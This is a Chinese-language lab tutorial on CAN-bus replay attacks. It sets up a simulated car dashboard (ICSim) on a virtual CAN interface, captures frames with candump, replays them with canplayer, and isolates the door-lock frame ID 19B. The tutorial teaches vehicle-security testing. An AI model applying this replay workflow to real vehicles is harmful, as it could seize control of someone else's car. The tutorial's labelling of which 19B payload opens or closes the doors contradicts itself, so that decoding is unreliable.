車聯網安全入門之模仿一輛車的通訊網路
序
車聯網安全是目前較為熱門的發展方向,但是由於他的入門門檻太高(沒有實車)導致大部分人被卡在門檻這裡。所以我總結了網上的相關資料寫出這篇文章,可以讓學習車聯網安全的同學來模擬控制一輛車是什麼樣的感覺,本篇文章通過Ubuntu模擬了車載CAN匯流排的收發包來進行操作學習,接下來跟著我一步步操作來打開車聯網安全的大門吧!
什麼是CAN匯流排
CAN匯流排又稱控制器區域網是Controller Area Network的縮寫,CAN匯流排是一種功能豐富的車用匯流排標準。被設計用於在不需要主機(Host)的情況下,允許網路上的單片機和儀器相互通訊。 它基於消息傳遞協議,設計之初在車輛上採用復用通訊線纜,以降低銅線使用量,後來也被其他行業所使用。簡單來說就是用來控制車輛功能的通訊協議,比如車門解鎖、轉向燈、剎車、油門等,為什麼要使用CAN協議,簡單來說就是便宜好用。
CAN匯流排特性
安全性:
CAN是低級協議,不支援任何內在的安全功能。在標準的CAN中也沒有加密,這使得這些網路數據能被截取。在大多數應用中,應用程式需要部署自己的安全機制,例如認證傳入命令或網路上某些設備的存在。若不執行適當的安全措施,其他人可能設法在匯流排上插入消息。儘管一些安全關鍵功能(如修改韌體,編程鍵或控制防抱死制動)存在密碼,但這些系統並未普遍實施,並且密鑰對的數量有限。
通訊機制:
多主機-即每個節點都有接入匯流排的能力。
定址機制:
消息區別:不設節點的地址,通過消息的標誌符來區別消息。
幀類型:
數據幀、遠程幀、錯誤幀、超載幀、幀間隔
攻擊方式:
- 應用報文模糊測試
- Dos攻擊測試
- 重放攻擊
由於CAN匯流排上面的數據包沒有任何加密,所以這些數據包能夠被截取竊聽。由於車載網路使用CAN協議進行通訊,所以我們可以聯想到車聯的功能也是通過CAN網路進行數據發送和交換。比如我們打開左轉向燈,那麼電訊號就會通過CAN匯流排發送到網路上的每個設備,然後左轉向燈會解釋數據包並且執行數據包中的指令。
在網路上發送的數據包由兩部分組成:標識符和數據。標識符是車輛中設備的表示。數據欄位表示要與所述設備一起完成的指令。讓我們看下面的例子:
(1668496788.311506) vcan0 095#800007F400000017
數據包的開始部分是標識符。在這種情況下,標識符是095。#之後的數據包剩餘部分是數據欄位。
可以看下Wireshark抓到的包

標識符在不同車型,相同車型不同年份的情況下也是不相同的,如果是相同車型相同年份的車型那麼標識符大概率是通用的,不同的標識符表示車上不同的設備發的包,後面我們需要找到我們想要控制車輛功能的標識符包。
攻擊方式
在前面CAN匯流排特性處我們寫的CAN匯流排攻擊方式包括應用報文模糊測試、Dos攻擊測試、重放攻擊等,接下來我們來實操一下重放攻擊,顧名思義就是可以截取數據包然後重新發送導致車輛處於我們的控制之下而不受到車輛所有人的操控。
安裝工具
- kali2022.03
- ICSim (儀錶盤模擬器)
- Socketcand(CAN網路)
- Kayak(一款基於SocketCAN的CAN匯流排分析工具)
ICSim是一個開源的車輛儀錶模擬器,該模擬器包含controls和ICSim兩個模組,其中controls負責生成模擬的車輛數據,以CAN報文的方式發送給虛擬的CAN介面,ICSim從虛擬CAN介面讀取CAN報文,並在儀錶上更新對應零件的狀態,如車速、車門狀態等等。
安裝依賴
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf


安裝ICSim
下載
git clone //github.com/zombieCraig/ICSim.git
編譯
cd ICSim/
sudo make

安裝socketcand
下載
git clone //github.com/linux-can/socketcand.git
獲取缺少的文件
wget //raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in

編譯安裝
cd socketcand/
autoconf

./configure

make clean

make

sudo make install

安裝Kayak
下載
git clone //github.com/dschanoeh/Kayak.git
安裝
cd Kayak/
mvn clean package

至此,全部安裝完畢。
開始攻擊
首先設置vcan(虛擬CAN)介面
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

打開儀錶盤模擬器
./icsim vcan0

打開儀錶盤控制器
./controls vcan0

點擊儀錶盤控制器介面就可以模擬操縱車輛了。
| 功能 | 控制按鈕 |
|---|---|
| 轉向燈 | 鍵盤左右鍵 |
| 速度 | 鍵盤上下鍵 |
| 開車門 | 右SHIFT鍵+A |
| 關車門 | 左SHIFT鍵+A |
| 開啟全部車門 | 左SHIFT鍵+右SHIFT鍵 |
| 關閉全部車門 | 右SHIFT鍵+左SHIFT鍵 |

使用candump進行抓包
candump vcan0 -l
CTRL+C停止

看到抓到的包,由於CAN在不停的通訊所以包會非常大。

接下來我們找到CAN網路上面控制車輛的數據包對他進行攻擊。
監聽抓包,然後打開所有車門然後關閉。
抓到了一萬多個包。

嘗試重放我們的包
canplayer -I candump-2022-11-15_052559.log
可以看到全部車門打開隨即關閉。

接下來我們採用二分法每次刪除一半來查找關閉車門的包。
最終通過二分法找到打開所有車門的包為:
(1668507963.222323) vcan0 19B#000000000000

其中的19B是設備標識符,在數據包中查找19B。
└─$ grep 19B candump-2022-11-15_052559.log
(1668507960.512530) vcan0 244#000000019B
(1668507962.233563) vcan0 19B#00000F000000
(1668507963.222323) vcan0 19B#000000000000
(1668507963.517110) vcan0 244#000000019B
(1668507964.208966) vcan0 19B#00000F000000
(1668507965.319056) vcan0 244#000000019B

我們可以看到其中有一個19B#00000F000000,如果我們得到19B#000000000000是打開所有車門,那麼後面我們也進行了關閉所有車門的操作,可以猜測19B#00000F000000是關閉所有車門。

可以看到上圖,我們成功關閉了所有車門。
如上可知這個數據包中通過第三位位元組來控制。
(1668507962.233563) vcan0 19B#00000F000000 //打開所有車門
(1668507963.222323) vcan0 19B#000000000000 //關閉所有車門
鎖上所有門的數據包將半位元組表示為十六進位F。將其分解為二進位可得出 16 種可能的門組合。
| 二進位 | 十六進位 |
|---|---|
| 0000 | 0 |
| 0001 | 1 |
| 0010 | 2 |
| 0011 | 3 |
| 0100 | 4 |
| 0101 | 5 |
| 0110 | 6 |
| 0111 | 7 |
| 1000 | 8 |
| 1001 | 9 |
| 1010 | a |
| 1011 | b |
| 1100 | c |
| 1101 | d |
| 1110 | e |
| 1111 | f |
嘗試字元控制的不同車門。
| 字元 | 車門 |
|---|---|
| 8 | 右後車門 |
| 4 | 左後車門 |
| 2 | 右前車門 |
| 1 | 左前車門 |
假設1是鎖門的動作,0是解鎖門的動作。因此,當我們識別我們的門時,識別出的門會收到鎖門的指令,而其他門會收到解鎖的指令。比如字元8的二進位是1000那麼就是鎖門,開門,開門,開門。
右後車門 左後車門 右前車門 左前車門
8 4 2 1
1 1 0 0 等於 C
可以嘗試查看C是不是關閉了後排兩個門,打開了前排兩個門。

至此,就可以操控每個門的開關了。同理,轉向和油門都是相同原理。

